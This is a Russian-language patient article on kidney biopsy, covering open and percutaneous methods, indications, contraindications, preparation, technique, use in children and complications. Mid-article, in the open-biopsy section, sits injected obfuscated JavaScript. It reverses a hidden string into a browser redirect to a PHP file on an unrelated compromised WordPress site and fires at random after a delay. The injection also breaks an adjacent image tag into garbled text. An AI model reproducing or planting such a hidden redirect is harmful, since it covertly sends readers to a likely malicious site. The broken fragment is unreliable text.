Биопсией называется метод диагностики, подразумевающий прижизненное взятие образца ткани для дальнейшего его гистологического изучения. Внедрение в последние годы ультразвукового контроля за ходом процедуры значительно расширило возможности этого исследования, в том числе при диагностике заболеваний почек.
Содержание
Нефробиопсия: суть исследования, его задачи и способы
Биопсия почки представляет собой высокоточный метод диагностики различных заболеваний органа путём исследования его морфологии. Полученные результаты коренным образом меняют предварительно поставленный диагноз примерно у каждого пятого пациента. А в каждом третьем случае, при подтверждении предполагаемого заболевания, они побуждают врача внести существенные коррективы в схему лечения.
В практике урологов или нефрологов к биопсии почек прибегают тогда, когда результаты лабораторных, клинических и функциональных исследований не позволяют с уверенностью поставить пациенту диагноз. А также эта процедура может быть полезна при необходимости:
- уточнения прогноза болезни;
- выбора терапевтической тактики;
- динамического отслеживания хода и результатов лечения.
Способы проведения манипуляции
В современной нефрологической практике существует 2 основных способа взятия материала:
- Открытая биопсия. При этом доступ к органу осуществляется хирургическим методом. У этого метода есть 2 модификации: образец ткани берётся специально предназначенной для этого иглой либо во время операции на почке, либо путём малой люмботомии — небольшого разреза кожи поясницы над ней.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5be5e72ed524e.png» alt=»Операция на почке» width=»464″ height=»338″ /> Открытая биопсия может быть произведена во время операции на почке
- Закрытая (пункционная, чрескожная) биопсия. Этот способ предполагает забор биоматериала для изучения под микроскопом путём подведения иглы к почке через прокол в коже.
Преимущества и недостатки каждого способа
Чрескожная методика получила более широкую популярность, чем люмботомия, ввиду своей низкой травматичности. Пункционная биопсия мало болезненна для пациента, так как она выполняется под местной новокаиновой анестезией. Однако, несмотря на то что процесс введения в почку пункционной иглы контролируется ультразвуковым или рентгеновским аппаратом, врачебные ошибки и осложнения во время проведения закрытой процедуры всё же могут случиться.
Нефрологи охотнее выполняют открытую биопсию, поскольку при этом способе манипуляция выполняется под контролем человеческих глаз. И риск повреждения соседних тканей или неправильного введения иглы минимален. Но этот способ более травматичен и тяжелее переносится пациентами. Предпочтительнее проводить забор кусочка почечной ткани во время операции.
Показания и противопоказания к диагностике
Диагностическая биопсия почек назначается для выяснения причин следующих состояний:
- нефротического синдрома неизвестного происхождения;
- длительно существующей изолированной гематурии или протеинурии невыясненной этиологии;
- артериальной гипертонии предположительно нефрогенной природы;
- стремительно прогрессирующей почечной недостаточности при нормальных размерах органов;
- отторжения трансплантированной донорской почки.
Кроме того, данное исследование назначается больным с целью:
- отличия хронического пиелонефрита от нефрита и хронического гломерулонефрита;
- определения характера и степени поражения почек при сахарном диабете;
- выяснения злокачественности или доброкачественности опухоли;
- оценки степени дегенерации соединительной почечной ткани при некоторых заболеваниях.
Противопоказания к чрескожной пункции почек могут быть абсолютными и относительными. К первым относятся:
- нарушения у больного свёртывающей системы крови — тромбоцитопения, гипокоагуляция, геморрагический диатез;
- тромбозы и аневризмы артерий и вен почек;
- наличие у пациента единственной работоспособной почки;
- бактериальный паранефрит;
- почечный туберкулёз кавернозного типа;
- пионефроз;
- повышение венозного давления в большом круге кровообращения.
Относительные противопоказания не исключают выполнение процедуры при соблюдении определённых условий. Биопсия почек с особой осторожностью может быть проведена пациентам с такими патологиями:
- миеломная болезнь;
- почечная недостаточность последних стадий;
- тяжёлая степень гипертонии;
- аномальная смещаемость почки.
Подготовка к исследованию
Перед назначением чрескожной биопсии врач должен располагать точными сведениями о функциональной способности почек, их топографии, размерах и подвижности. Для этого выполняются предварительные исследования:
- ультразвуковое сканирование;
- радиоизотопная ренография;
- экскреторная урография в вертикальном и горизонтальном положении пациента.
А также изучается состояние свёртывающей системы крови больного, определяются резус-фактор и группа крови.
В течение 2–3 недель перед назначенной биопсией проводится профилактика кровотечений: пациент должен приостановить приём антикоагулянтов и анальгетиков. За 8 часов до процедуры следует отказаться от пищи, а за 3 часа до неё прекратить употребление каких-либо жидкостей.
Методика проведения
Процедуру выполняют в операционной урологического стационара; при этом должны быть соблюдены все правила асептики и антисептики. Закрытые и открытые биопсии почки несколько отличаются друг от друга техникой исполнения.
Чрескожная пункция почки
Техника проведения диагностической пункции под ультразвуковым контролем:
- Больного размещают на операционном столе в положении лёжа на животе или на боку.
- Кожу поясницы обрабатывают дезинфицирующим средством.
- Стерильным УЗ-датчиком выполняют сканирование проблемной почки. При этом внимательно осматривают интересующий участок или опухоль.
- Выбирают точку вкола в тело пункционной иглы и вычисляют направление её движения.
- Выполняют новокаиновую анестезию кожи в месте будущего вхождения инструмента.
- Остроконечным скальпелем делают надрез длиной 0,5–1 см.
- Специальным шприцом проводят анестезию всего пункционного канала вплоть до исследуемого участка почки. За движением инструмента непрерывно наблюдают на мониторе аппарата с помощью УЗ-датчика.
- Закончив анестезию, приступают к непосредственному изъятию из нужного места биоптата. Для гистологического исследования иглой с выкусывателем отщипывают кусочек ткани. Если предполагается брать жидкий образец (содержимое кисты, например), то для биопсии используют специальную аспирационную иглу.
- После получения биологического материала иглу вынимают.
- Завершают манипуляцию наложением асептической повязки на кожный разрез.
Видео: пункция кисты почки под контролем УЗИ
Можно ли проводить повторно
Если во время продвижения инструмента к почке на игле появляется кровь, врач должен прекратить проведение процедуры. Если следующие 2 попытки также закончились неудачей — это повод отказаться от манипуляции.
Изъятый образец материала осматривают, оценивая его достаточность для выполнения микроскопического исследования. Если врач видит, что почечной ткани взято явно мало, процедуру повторяют. При отсутствии осложнений следующая биопсия может быть произведена не ранее, чем через неделю после предыдущей. В любом случае пункцию одной и той же почки можно делать не больше трёх раз.
Открытая биопсия
Показанием к открытой, или операционной биопсии чаще всего бывает гипертензия, в выяснении происхождения которой другие диагностические методы оказались бессильны. Участки в почке, из которых будут браться образцы, определяются заранее с помощью УЗИ.
Порядок выполнения:
- Под наркозом выполняют разрез на теле и обнажают почку.
- На 1,5–2 см рассекают почечную капсулу.
- С помощью хирургических ножниц с узкими и длинными концами или специальных кусачек берут кусочки ткани из разных мест органа. При подозрении на диффузное заболевание почки достаточно будет одного образца.
- Получив материал, разрезы на почечной капсуле и на коже зашивают с помощью кетгутовой нити.
После благополучно проведённой биопсии любого вида пациент нуждается в суточном постельном режиме и наблюдении медиков, поэтому на это время он остаётся в стационаре. Для профилактики развития в почке инфекционного процесса и кровотечения ему на 3 дня назначается курс антибиотиков и гемостатических препаратов.
Фотогалерея: проведение операционной биопсии почки
-
- Забор образца почечной ткани производится с помощью специальных биопсийных ножниц с длинными концами
-
- Положение больного при открытой биопсии — такое же, как при операции на почке
-
- При открытой биопсии разрез почки происходит под контролем глаз врача, поэтому риск осложнений — минимален
-
- Паранефральная гематома проявляется сильной болью в пояснице
-
- Пункционная биопсия почки выполняется под УЗ-контролем
-
- Открытая биопсия может быть произведена во время операции на почке
-
- Во время закрытой биопсии специальным инструментом берётся кусочек почечной ткани для исследования под микроскопом
-
- Закрытая биопсия делается с помощью предназначенной для этого иглы
Особенности проведения у детей
Данную манипуляцию у детей выполняют лишь в тех ситуациях, когда другие методы исследования противопоказаны либо не дали достаточной для постановки диагноза информации. Ввиду того что почки маленьких пациентов обладают высокой физиологической подвижностью и смещаемостью, процедура проводится по строгим медицинским показаниям и под тщательным ультразвуковым контролем. При выборе способа биопсии врач опирается на возраст ребёнка, характер урологической патологии и наличие дополнительных, внепочечных заболеваний.
Пункционная биопсия почек чаще всего делается детям при наличии у врача предположения о диффузном заболевании паренхимы органа. Дошкольникам её делают под общим наркозом и с использованием расслабляющих мышцы препаратов, а более старшим пациентам — под анестезией местного действия.
Расшифровка результатов
Полученный при биопсии материал передаётся в лабораторию для гистологического исследования. Анализ ткани может выполняться от одного до нескольких дней.
Изменения в структуре и морфологии почечной ткани указывают на инфекции, опухоли, нарушения кровообращения, отторжение пересаженного органа и многое другое.
Видео: как выглядят результаты биопсии почки у больной хроническим гломерулонефритом
Возможный вред и побочные эффекты биопсии почек
При биопсии, проводимой открытым способом, осложнений практически не бывает, ибо операционное поле находится на виду у врача. Зато чрескожная пункция почки довольно часто осложняется серьёзными неприятностями, перечисленными ниже в порядке убывания по частоте.
Кровотечение в полую систему почки
Кровотечение в чашечно-лоханочную систему почки случается после биопсии приблизительно в половине случаев. После биопсии оно проявляется небольшой примесью крови в моче, реже — макрогематурией. Если последняя длится больше чем 3 суток, то это обычно свидетельствует об инфаркте почки.
Подкапсульная или паранефральная гематома
Обильное кровоизлияние под капсулу почки и в околопочечную клетчатку, приводящее к формированию подкапсульной или паранефральной гематомы, встречается у 0,4–1,2% пациентов, перенёсших пункцию почки. Клинически оно проявляется острой болью в пояснице, низким артериальным давлением и анемией. Околопочечная гематома при рассасывании сопровождается скачками температуры тела. На УЗ-сонограммах и экскреторных урограммах она определяется по размытости контуров мочеобразующего органа и отсутствию его смещения при дыхательных движениях.
Редкие побочные эффекты
После закрытой пункции зарегистрированы единичные случаи:
- травматического повреждения соседних органов — кишечника, печени, лёгкого, плевры, селезёнки, нижней полой вены;
- разрыва нижней части почки;
- гнойного воспаления околопочечной клетчатки.
По данным некоторых учёных, в 0,04–0,16% всех случаев чрескожной биопсии почки в результате её осложнений происходит гибель пациента.
Нефробиопсия — самый точный на сегодняшний день метод диагностики почечных заболеваний. Особенно высокую ценность она представляет при подтверждении или опровержении злокачественного процесса. Однако этот метод довольно опасен и небезразличен для пациента, поэтому его назначение требует от врача серьёзности, ответственности и высокой квалификации.
